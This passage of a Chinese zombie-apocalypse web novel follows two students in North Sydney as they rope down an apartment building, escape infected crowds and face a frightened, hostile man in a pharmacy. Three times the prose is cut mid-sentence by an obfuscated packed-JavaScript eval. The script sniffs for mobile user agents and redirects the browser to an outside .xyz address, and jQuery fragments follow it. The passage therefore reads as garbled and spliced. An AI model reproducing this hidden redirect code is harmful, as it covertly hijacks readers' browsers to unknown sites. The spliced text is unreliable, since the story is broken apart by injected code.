感染方式:最大可能是间接接触,受伤的手触摸到了感染者的□□
潜伏期:长,大约有半天到一天,具体时间不确定,短的话在五个小时左右。】
程水不好意思地笑了一下,把纸递给黄雅乐:“我只是觉得写出来更直观。”
“天,你是从哪里得到这些信息的啊。”黄雅乐震惊了,她默默地问了一句:“你是j人吧?”
“你说mbti吗?那个很火的人格测试?”程水思索了一下,说:“想不起来了。”
“那你肯定是处女座!”黄雅乐紧接着道。
“我其实是巨蟹座……不过问题不大,我觉得传染方式肯定有这两种,大面积的和感染者组织交叉接触,比如被咬了,或者说伤口间接触碰到□□,那样病发时间会拖长。”程水认真的拿过纸,给黄雅乐讲起来。
奈何此人并没有听,她突兀地抱住了程水的手臂,在她怀里抬头:“天,有你太可靠了,我要一辈子跟随你。”
程水不太舒服的抽出手,今天的温度比昨天还要热,虽说还在正常范围内,可被黄雅乐这么一抱,加上先前搏斗的汗水,整条胳膊又热又黏。
黄雅乐显然也感受到了室内攀升的温度,现在是下午,毒辣的阳光热烈的洒在大地上,透过窗户照射进房间,百叶窗拉下,室内仍旧闷热的吓人。
她讪讪地退了回去,不多时,又无声狂怒起来:“啊啊啊啊要是有水就好了,好想洗澡啊……怎么那么热,雨要是不停就好了,还能在外面冲个凉。”
程水问了太多天尸臭和血腥气,已经几乎闻不到身上的味道了,如
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586118|171759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
果末日未曾爆发,她肯定会冲进浴室洗两个小时把自己洗的香喷喷的,可现在,她们甚至连喝的水都要没有了。
“你要说水,我们也只剩下两瓶了。”她指着包旁的乌龙茶,另外半瓶水已经被她喝光了,“你的房间里还有水吗?”
黄雅乐用手指比了个圈,程水瞥了一眼,立即明白了,失望地叹了口气。
“那我们离断水估计只剩下,嗯,喝的慢点的话,三天。”程水盘算了一下,“然后就必须要出去找物资了,但是,我们没办法通过楼道去其他楼层探索了。”
她指的是外面楼道里围着的大群感染者,只要他们敢开门,那就是羊入虎口,估计连渣子都会看不见。
“而且这么热,我们会很容易缺水,三天都说多了,我们最多还有一天半。”
这样的噩耗让两人无精打采,好不容易解决了感染者,能坐下来休息,又立刻要开始盘算接下来该怎么活,衣服被汗水打湿,又□□热的澳洲空气蒸干,又打湿,咸菜干一样耷拉在身上。
“走外墙不行吗?”黄雅乐话音刚落,就知道自己错的离谱,自己差点都从六楼外墙下到五楼的过程中失脚摔下去,哪里来的自信她俩可以在外墙如履平地,带着物资归来。
“邻居家的窗开着我才有机会攀过来,”程水也打消了黄雅乐最后的念头,竖着不行,难道横着也不行吗?是的,横着也不行。“窗框太滑了,如果窗子本身不是打开的状态,我没办法攀过去,拉开窗子,再进入房间。”
所有的路都被堵死了。
恐慌如同藤蔓般生长,渐渐攥紧了二人的心脏。
她们该怎么办?
“我们得离开这栋楼。”最后,程水说,她的眼睛里有不安,有害怕,有对未知的恐慌,也有不情愿,但还是说:“我要回国,我不能死在这里。”
“你还想要回国吗?目标这么宏大?”黄雅乐瞪大了眼睛,她嘟囔着说:“咱们能不能活着出去这栋楼都不一定。”
程水皱了皱眉,她有点生气,她也不知道为什么。她生硬地说:“你不想走的话,我就一个人吧。”
黄雅乐这下眼睛瞪的更大了,她讨好的笑了两下,凑近说:“你别生气,我肯定和你一块啊!我就是觉得,咱俩得再琢磨琢磨更仔细的方法,不然就这么冒冒然的跑出去不太好吧?”
程水张了张嘴,刚刚的气奇异地消了下去。她有点尴尬的眨了眨眼睛,也有点后悔自己的语气。
……她真的不太会说话啊。
她懊恼地想。
她挺喜欢黄雅乐的,她也不太想让黄雅乐认为自己是个喜怒无常的人,现在的场景令她脑中闪过了好些画面,都是从前交友时,对方的哪句话令她不高兴,她默默的忍着,生硬地表现着,结果到了最后,她就没有这个朋友了。
黄雅乐瞪着眼睛看了她好一会儿,一直看到她忍不住扭开头,才松了口气,道:“我们肯定不能走楼道了,但是我们还是可以走外墙啊!你想,我确实是拿被套下楼失败了,那确实是我的问题,但如果再来一次,肯定可以的,我们两个人把被□□紧实点,一路爬下去,不就出去了吗?”
“然后去哪?”
黄雅乐哑声了,她结巴了两声,很快,她眼睛一亮:“不如,我们去找其他中国人吧?”
“去华人区?”?
北悉尼附近,有北悉尼最大的华人区,北悉尼最大的商业区,悉尼最有名的中国人聚集地之一。
车士活。
14. 突围丧尸
不是所有的在澳华人都是好人。
这是首先要明确的一件事,甚至最有可能的是资历老的华人欺负新来澳的华人,多的是当面一套背后一套,各种圈子各种手段,乌烟瘴气利益盘根错节。
程水刷小某书的时候不止一次看到过有人举报华人老板不给兼职结工资,拖欠工资,故意给比最低工资更低的价格频繁的招试工的大学生,屡见不鲜。
不能轻易的相信海外华人是一件众所周知的事情。
但,华人也是消息最灵通的群体之一,各大圈子,各个职业,华人有自己的消息圈,有自己的情报网,这样的生存优势在末日背景下是无法替代,也不可小觑的。
他们不仅可能有国内的消息,甚至也有可能有办法离开悉尼,甚至回国。
也许要付出一些代价,但相比起回国寻找父母,程水也宁愿放下一些不信任感,愿意寻求一丝机会。
悉尼北部最繁华的华人区似乎变成了唯一的解。
黄雅乐观察着程水的表情,试探性地说:“我只是提个意见,那咱们也不能没有方向的往外跑嘛……反正肯定没法往市中心去了,警察都没办法,万一华人区有什么机会,华人报团取暖总比和咱俩孤零零的好嘛。”
事情就这么决定了。
接下来两天,程水和黄雅乐都待在邻居家的屋子里,一个人定期观察屋外感染者的情况,一个人拧紧能找到的所有衣物和布料,她们要把布料扎成绳子尝试从外墙下楼。
在此期间,温度也上涨的越来越吓人,悉尼其实并不热,全年温度都在十几度到三十度出头之间晃荡,偶尔几天会高于四十度,程水刚来澳洲的时候是二月份,那时候已经没有那么热了。
可是,这两天的温度持续保持在四十度以上。
澳洲的气候是干热而非湿热,很多时候汗刚出来就被蒸干了,这也导致缺水的问题愈发严重。屋内闷热的吓人,打开窗户,外面在炎热中腐烂发臭的气味连带着热风吹进室内,两人的心情在这样的环境下都变得越来越焦躁。
黄雅乐本来心中对程水着急离开公寓的想法略有异议,她觉得不必这么着急,公寓比外面安全,至少门外的感染者不会突然突破门进来。
但随着天气的高温在夜晚也不见下降后,她也对离开公寓寻找水资源的方针彻底没了意见。
好热!!
程水只穿着一件运动背心和短裤,贴在猫眼上观察着。
这几天全楼不定时的会传来声响,自家楼道里围着的感染者会随之动作,只不过数量没变少多少,大部分的感染者还是围在这层不动。
真是要多谢那个拉丁裔男人了。
程水恨恨地想,她热的满头汗,汗水流进眼睛满是刺痛,她干渴的喉咙冒烟却不敢动自己那只剩下半瓶的乌龙茶。
“差不多了!”黄雅乐在她身后小声道,她们几小时前刚刚轮换过,黄雅乐从门口离开换程水,她已经把被套绳子最后的收尾工作搞定了。
“真是渴死我了,咱们快行动吧,再不走我真的要躺地上动不了了。”她把被套交给程水,两人走到窗前观察着楼下。
废弃的汽车把街道堵的水泄不通,几个感染者慢吞吞地游荡在街上。
“下去后大概有几个能临时躲藏的地方吧,”黄雅乐指着地面几处,“那边的便利店,咱们肯定要去的,躲在柜台里面应该也行。然后还有那,那个药房,我看过他们晚上拉卷帘门,咱们进去后立刻拉上卷帘门就行。”
“希望感染者这两周都往其他地方走了,”程水也道,“至少目前看起来楼底下没太多感染者。”
“别是藏起来了就好。”黄雅乐担忧地说,她哭丧着脸,自暴自弃地说:“反正也不会比现在糟到哪去了,富贵险中求,不入虎穴焉得虎子啊。”
话是这么个理,但真要两个末日前业余攀岩都完全没试过的留子突然搞这种杂技,这种滋味也是难以言喻了。
“悉尼大学好像有攀岩社吧,你去过吗?”黄雅乐紧张地深呼吸着,看向程水。
“怎么可能啊,”程水开始把绳子绕着书桌中间绑,书桌的大小正好大于窗子的长度,如果她们的重量太大,书桌位移,也会撑在窗上保持平衡,“我只在动作电影里看过这种下楼方式。”
“我也是。”
“好了。”程水尽量系紧了绳子,多系了好几个结,她回想起自己刷到过的那些教你系绳子的网络短视频,但很可惜,那些花里胡哨的打结方式她一个都记不住。
黄雅乐和程水沉重地对视一眼,开始系自己的头发。
汗湿的长头发粘在脖子上,又被系成一个团在后脑。程水在扎头发的时候突然灵光一闪,她叫停了黄雅乐:“你等一下,我去拿个东西。”
她在包里找到了剪刀,吭哧吭哧地开始剪头发。
“哇!!你干嘛!!”黄雅乐一惊,“扎起来不就好了吗?”
“不行,太碍事了。”程水歪着脑袋,咔嚓一刀把后脑的头发全部剪掉了,呼噜两下,只剩下一头参差不齐的短寸,像个毛茸茸的海胆。
“你要不要剪?”程水把剪刀递过去,黄雅乐咬着唇有点犹豫,程水说:“下楼的时候万一头发散了,挡着脸看不清容易踩空掉下去。”
“我剪。”
两只海胆把书桌移到窗子前,背着两个大包,攀上了窗子。
“小心点。”程水打头阵,她叮嘱了一声黄雅乐,便慢慢握着被套绳子往下,毒辣的太阳立刻照到了身上,整个皮肤烫的发烧。
她一只手紧紧抓住被套,指节因过度用力而发白,她脚踏在略粗糙的墙面,另一只手手指扣着窗框,一点一点往下挪,她不断吞着口水,目光下移,离下一层的窗框还差一些,她一根手指,一根手指的放开窗框。
两只手迅速握紧了被套,手臂青筋暴起,她咬着牙,慢慢往下挪,整个人都在克制不住的因过度用力而发抖。
终于踩中了四层的窗框,她往上看,刺眼的阳光不断刺出她的生理泪水,她对着黄雅乐的人影微微点头。
黄雅乐深呼吸给自己打气,颤抖着握紧了被套,学着程水的样子,一点一点往下挪。
随着重量向下,巨大的乓地一声传来,两人下意识地抬头看去,是书桌撞上了窗子!
还好书桌两边还抵着墙,她们焦虑紧张地无法呼吸,加快速度下降。
巨大的声响引起了一些骚动,程水正在从四层攀到三层,隐约听见四层杂乱的脚步声上移。
是感染者被惊动了。
程水喘着粗气,继续往下移动。
一直到达了二层,她往下看离地面还有多少距离,目光却陡然一凝。
底下围了好些感染者,抓牙舞爪地朝她们抓来!
黄雅乐没注意到这点,还在往下移
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586119|171759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动。
“等等!”程水喘着气,小声叫道,“底下有感染者!别动!”
黄雅乐瞬间起了一背的鸡皮疙瘩,她根本不敢往底下看,小声道:“下,下不去了,那怎么办?”
程水强迫自己冷静下来,她的手臂逐渐发酸,浑身都叫啸着累,喉咙因缺水而疼痛,更别提毒辣的阳光还在锲而不舍的试图炙烤她。
她闭上眼,咽了口口水,说:“声东击西,我们声东击西。”
她踩在二层的窗框上,脚跟悬空,双腿笔直地绷着,汗顺着下颚滴落。
“什么意思啊你要干嘛啦!”黄雅乐小声哭嚎着,抱着被套绳子说,“这下怎么办要完蛋了我们都要死了。”
“大部分感染者都在五楼,对不对?!我们没办法直接到楼底下了,我们走二楼,走另一条楼道从后门出去!”
“可是会有声音啊啊它们会往楼下跑!脚底那些也会越堆越多!”
“是的,但是会比我们慢!而且我们吸引越多到这个门口底下,就越少感染者在后门!走不走!”
“都这个时候了还说什么啊走啊!”
绳子突然猛地一抖。
黄雅乐下意识惊叫出声,她低头一看,程水已经像弹出的箭一样猛地蹬出双腿,整个人在半空摆开角度,猛力摆荡!
下一秒,她双脚狠狠撞上了二层紧闭的窗户!
“砰———!”一声钝响,玻璃裂出蛛网状的纹,整条被套绳在冲击中剧烈晃动,黄雅乐用尽全力抱住绳子,脚底下的感染者果然越来越多!从后门方向来的也有!
程水的神经一跳一跳,青筋从额头崩起,这真是千钧一发的时刻,她浑身全部的力量都集中在了腿上,瞳孔都缩成了一点,又是一撞——
“砰!!”玻璃碎裂,她滚进了室内,碎片划开了她的皮肤,血流了出来,她来不及处理,快速爬起来来到窗边,黄雅乐抖着身子,在紧急中失手滑落了下去!
啪!
程水握住了她的手,她满身都是汗和血,另一只手用力撑在碎裂的窗框上,血液顺着手掌的纹路流下来。
黄雅乐大脑一片空白,当下一股不想死的念头涌上,用尽全身力气往上爬,两人翻滚进屋,大概是天也看她们可怜,屋子里是空的,还有被翻找过的痕迹。
杂乱的脚步声伴随着嘶吼往她们二层靠近,来不及询问彼此,来不及做任何事情,她们搀扶着打开房门,往走廊的另一个尽头跑去!
焦急的脚步声回荡在空旷的楼梯内,她们喘着粗气快步往下跑,一直要到门口时,一个垂着头,浑身污血的人突然朝她们暴冲过来。
后门还是有感染者。
不过不管怎样也比刚刚要少的多了,程水的肾上腺素已经飙升到了极限,她扯下自己的背包,握在手里,哐当一声撞在感染者脸上!
它被撞得后仰,为二人争取了逃跑的时间,程水不管落地的背包,拉着黄雅乐一路冲进了公寓旁边的药店,里面被翻的乱七八糟,散落的药品包装被二人踩在脚底,程水放开黄雅乐,紧张地找着卷帘门的把手,用力往下拉——
砰!
感染者追来,撞上了半关的卷帘门,趁着感染者还学不会弯腰,黄雅乐用力帮着程水一起把卷帘门拉上,直到哐当一声,卷帘门撞在地上。
两人瘫倒在地,直到门外疯狂的撞击声逐渐弱下去,呼吸都未有平复。
15. 开端-流浪北悉尼
黄雅乐的心跳从未如此快过,她也从未在如此生死一线中拼命到这个程度,她们成功逃脱了那么多的感染者!成功的离开了公寓!
在昏暗的室内,她的眼睛亮亮的,看向程水,试图从她那得到相同的激动。
“嘶……啊……”程水脱力地歪倒在一个货架旁,痛苦地低声喘息。
黄雅乐呆愣了一瞬,她赶忙爬过去,十指钻心的疼痛止住了她的脚步。
从被套绳子上意外滑落时,她拼了命的扣着粗糙的墙面,十个指头都被磨烂出血,几个指甲都被翻掉了,此刻血肉模糊。
她忍住疼痛带来的生理泪水,看向低低喘息的程水。哪怕在昏暗的室内,她也看见了她腰上隐隐反光的玻璃碎片,深深扎进了肉里,血液缓慢地潺潺流出,程水颤抖着尝试拿手捂住伤口,手掌上也有一道深可见骨的伤口。
“你还…你还好吗?”黄雅乐忍耐着指尖,挪过去,凑到程水身边,担忧地观察着她。
程水的情况实在不佳,她的头发里,脸颊上,裸露的手臂,腿都有大大小小的割伤和反光的玻璃碎片,最深的碎片就在腰间,程水惨白着脸靠在货架上,无助地望向黄雅乐。
黄雅乐咽了口口水,她慌忙爬起来,小声说:“我,我去找东西来帮你处理,你别动,你千万别动!别让血流的更多了。”
手电筒在她背着的包里,她翻出来,刺眼的白光扫到一片货架,上面乱七八糟的散落着药品,她把灯打到货架标签上,努力辨认着外伤药物在哪。
不多时,她抱着一盒绷带,外伤消毒喷雾,在柜子底下找到的两瓶矿泉水,还有眉毛夹回来了。
“我没找到处理外伤用的镊子,”她低声道,手指使不上力气,用牙撕开了药物包装,“就这个眉毛夹,你忍一下,小的玻璃应该能拿出来的。”
她让程水咬着手电筒,借着卷帘门缝隙和手电筒的光,慢慢夹下一些腰间细小伤口里的玻璃。
“这块大的我暂时不敢动,我怕血流的更快了,我先把这块大玻璃旁边的伤口清理一下哈。”黄雅乐努力地冷静下来,程水在过程中时不时痛的浑身颤抖,她也是,手指根本握不住夹子。
两人都眼泛泪花,在安静的药房里默默地哭。
“……把这块大的,把它…把它弄下来吧,不拔下来我没办法移动。”程水示意黄雅乐拿下手电筒,嘶哑地说,“正常情况下是不能动的,但是我们现在没得选。”
逃跑过程中的肾上腺素抵消了痛感,缓过来之后,黄雅乐身上也舒服不到哪去,她为难地看着程水,她是个学金融的,也不知道什么人体结构,但她还是知道一些相关的急救知识的,这种情况下,玻璃留在身体里反倒不会导致大量出血,拔出来如果不能快速止血,程水会有生命危险。
“我们还能怎么办?”程水哽咽着说,“我们能在药房里待一辈子吗?我早晚要动起来的。”
“你为什么要这么着急呢!你看看你现在,你浑身都是伤你知道吗?就算我们出去了,我们这样能逃到哪里去?为什么不能在这里多休息一下!”黄雅乐急切地说,她为难地摇头,“太冒险了。”
程水吃力地把自己撑起来,她伸手想要自己拔玻璃,被黄雅乐拍开了。
她坚持地瞪着程水。
随着手臂挥动的视线,程水低头看向自己的手臂,奇怪地摆了摆。
“……怎么了?”
“小伤口,好像愈合了?”程水奇异地说,她有些迷茫地看着自己的手臂,抖了两下,掉下一堆小玻璃碴子,皮肤本身的微小割伤消失了。
“啊?”黄雅乐惊呼一声,她轻轻抬起程水的手臂,的确,那些她还没来得及处理的小伤口,居然消失不见了。
“这是怎么回事?”黄雅乐不可思议地说,程水摇摇头,表示她也不清楚。
两人对视良久,暂时按下心中的疑惑。科学一点来解释,也许程水天生就比别人愈合的快,但程水也不清楚,她从来没受过这么严重的伤,无法比较。不科学一点来解释,那就是老天眷顾她们游离在故乡之外的游子,让她在极端情况下发展出了一些身体潜能。
黄雅乐不敢承担程水会失去生命的风险,暂时不敢处理最深的伤口,先把其余部分的割伤,譬如撑在碎裂的窗框时手掌的割伤,拿外伤消毒喷雾处理了之后,再拿绷带包了个严实。
安静的室内一时间只剩下二人的喘息声和血腥气。
突兀的,另一道喘息声加入进来。
“谁?!”
黄雅乐下意识用中文问道,她紧张地看向货架深处。程水也微微坐起来,警惕地看过去。
“你们是中国人?”一个人影缓缓从货架深处走来,面颊消瘦,眉眼深邃阴沉,玻璃似的蓝色眼珠不错地盯着二人。
一个看着饿了许多天,脏乱的金色头发掀到脑后的白人男子警惕地靠近,看到程水腰间的玻璃碎片时小声惊呼:“你们受伤了?”
“你想要什么?”程水嘶哑地说,手臂绷紧,撑坐起来。
“刚刚的动静是你们发出来的?只是你们两个?”陌生的白人男子不回答,持续发问道。
程水声音稍微大了一点,重复道:“告诉我,你想要什么?”
“嘘!嘘!小声点,你不会想引来那些怪物的关注,好吗?”白人男子警告道,“我的兄弟,两周前死在它们嘴里,就在我的面前。”他面上闪过一丝恐惧:“该死的,我再也不想惊动它们,你们听话一点,行吗?拜托,闭嘴。”
“……我们只是想处理伤口。”程水说,她嘴唇发白,目光却十分警惕。黄雅乐紧张地坐在她旁边,下意识地抓住了她的衣物。
“听着,刚刚楼上公寓里的白痴弄出了那样的大动静,它们差点就发现我了!”白人男子狂躁地小声喊道,“你们受伤了,肯定和你们有些关系。只是你们两个弄出来的动静?”
“我们有同伴。”程水轻声道,黄雅乐下意识瞥了过来,她握住她的手,用力一按,黄雅乐便不再动。
白人男子没注意她们的小动作,狐疑地问:“你们有多少人?那么大的声响,四人?五人?真该死,你们的同伴该不会要找过来吧?它们可是差点就发现我了!该死的!”
“我们处理完伤口就离开。我们保证。”程水说,“你必须让我们处理好伤口,我们和其他人约定好了在哪里回合,时间拖长了,我们不敢保证其他人会不会来找我们。”
“该死的!该死的!该死的!血腥味儿会不会引来那帮怪物?就像深海里的鲨鱼,它们能闻到五公里以外的血腥气,你们这帮亚洲人移民都是丧门星,为什么不是你们去死?”
看着这人精神几乎崩溃地在地上哭嚎,程水不敢想象他说自己的兄弟死在他面前时是多么残忍的画面,让他崩溃成了这幅样子。
她警惕地观察着白人男子的动静,那人捂住自己的脸,跪在地上颤抖了至少五分钟,才缓慢地抬起头,冷冰冰地说:“听着,你们这些肮脏的猴子,我给你们十分钟,不,五分钟,接着从后门给我滚出去,那些药物你们全都不许拿。”
黄雅乐坐不住了,她刚想张口说些什么,程水却喘着气捏她的手,让她看自己的腰。
得把这块玻璃处理了!
“好吧,好吧,我要拔了。”黄雅乐低声道,努力稳住手,握住那块玻璃。程水咬着自己的手臂,碎片离开身体的一瞬间,麻木的腰间先是一股凉意,紧接着剧痛袭来,血喷涌而出,黄雅乐迅速朝伤口冲着外伤喷雾,扯开绷带缠住程水的腰,紧紧地裹了好几圈,厚厚的裹满了整个腰间。
血液晕染,直到又裹了几圈才停下。
程水颤抖着放开自己的手臂,上面有个清晰的咬痕,满脸都是汗和泪。
“好…好了。”黄雅乐哭着说,“痛吗?”
程水嘶哑地说:“你的伤口处理了吗?”
“我的快,没你那么严重。”黄雅乐扯开又一段绷带,缠到自己的腿上,程水靠在货架上帮她把手上缠紧绷带。
“能走吗?”
黄雅乐搀扶着程水,两人跌跌撞撞地站起来,程水被缠的死紧的腰间传来隐约的疼痛,她却不敢拖延,那个明显快疯了的白人男子虎视眈眈地在不远处盯着她们,不知道是否是在忌惮她们的‘同伴’才不敢上前。
不管是哪个可能性,她们都不可能和不知敌友的陌生白男共处一室。
程水:“后门在哪?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586120|171759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黄雅乐弯腰捡起地上还没用完的喷雾,绷带还有水。白男刚要开口,看见她的动作,低吼道:“把水放下!”
黄雅乐动作顿住了,程水目中闪过一丝怒意。
她们冒险离开公寓的目的就是为了水!白人男子这是在踩着她们的底线。
怒意越烧越旺,程水咬牙切齿地盯着他,黄雅乐犹豫地半蹲着,看向程水。
“好啊,你想怎么样?把水放下?可以,那我们就从正门走,外面的那些怪物会第一时间冲进来,你和我们一起死!”程水被怒火冲刷着理智,她克制不住地要往前走,怒目道。
这么多天谨小慎微,在干燥炎热的四十多度高温中缺水这么多天,如今水就在身边,要被一个害怕到躲在药房里精神崩溃的白男威胁到这种地步,程水感觉自己这么多天的理智都崩成了一根紧梆梆的线。
“你们怎么敢?你们肯定不敢。”白男低声威胁道,“那些东西会活着吃了你们。”
“公寓的动静是我们弄出来的,我告诉你我们干了什么,我们踹碎了公寓的玻璃跳下了楼,几十个上百个怪物追在我们身后,我们能逃一次,就能逃第二次,现在,要么让我们带走水,还是我们开门?!”
白男惊慌地看着程水的手伸向卷帘门。
黄雅乐适时地把水收进包里,白男害怕地看了眼外面,怒气冲冲地推了一把她们,两人踉跄着后退,铛地一声撞在卷帘门上,屋外的感染者咆哮着冲了过来,卷帘门发出接二连三的巨响。
白男惊慌地退缩了:“后门在那边。”
也许是威胁真的奏效了,前往后门的路上黄雅乐和程水都在各种偷偷往包里塞药,白男都未曾阻止她们,一直到后门被微微打开,两人被踹了出去。
也许白男自己另外还有不少的存货,要么就是他真的害怕感染者害怕到极点,不管是哪个程水都无所谓了,她已经九死一生几回,胆子也比从前大了一些,至少矿泉水这件事她不会退。
————
北悉尼是悉尼北部地区除了车士活以外,唯一拥有高楼林立,玻璃外墙反射天光,穿着西装的办公族来来往往,在写字楼之间穿梭,车水马龙的地带。
刺眼的阳光照射下来,炙烤着道路,二人半蹲在药房后门的草丛里,小心翼翼地观察着周围。
她们现在在一个十字路口旁边,而街道上的车辆歪斜着撞在护栏上,车窗碎裂,道路两边的树干倒塌,空气中弥漫着机油,焦灼塑料和腐败尸体的味道。
一派悲凉的末日景象。
“我们尽量走到居民区,那边都是单独的洋房,肯定有空屋,不要在最繁华的这一带停留太久。”程水用气声和黄雅乐说,“过两个马路左右,这一块你熟吗?”
悉尼的城市建立十分有意思,和国内可以说是两模两样。要说国内是以多个居民楼为一个小区,小区外面是写字楼,商业楼,并不集中于特定的某条街,那么悉尼就是一大片的居民小洋房,用栅栏围开,穿插一些小商铺,主要的商业楼全部集中在一条最繁华的主街上,离开了那条主街,偶遇路人人数直接锐减一大半。
“挺熟,我家以前就租在那片洋房里面。”黄雅乐点点头,她顿了顿,担忧地看着脸色苍白地捂着腰的程水,“要不我再进去和他商量一下,问问他能不能再让我们待一天?”
程水摇头:“那样更危险,他显然都快疯了。”
黄雅乐叹了口气,实在是拿程水没办法。她真没见过这么轴的人,果然人都是越认识才越能剥开表面的那层皮,看到里面的仁,唯独幸运的是,这颗轴的和粪坑里的石头一样的仁不是什么坏仁。
北悉尼的路并不是平坦大路,坡度很高,初到悉尼,前方的道路甚至可能看起来有九十度。废弃的汽车更是让街道里充满视线死角,黄雅乐眼尖地看见对面一家连锁健身房里的自动贩卖机破了一个大洞,里面没被拿完的功能性饮料看上去令人垂涎欲滴。
“那计划就这样吧,在天黑前,我们要到达那片洋房找到一间空屋,至少休息两天再继续出发。”
程水皱了皱眉,刚要说些什么,黄雅乐打断她:
“现在赶路到底图什么?”
到底图什么?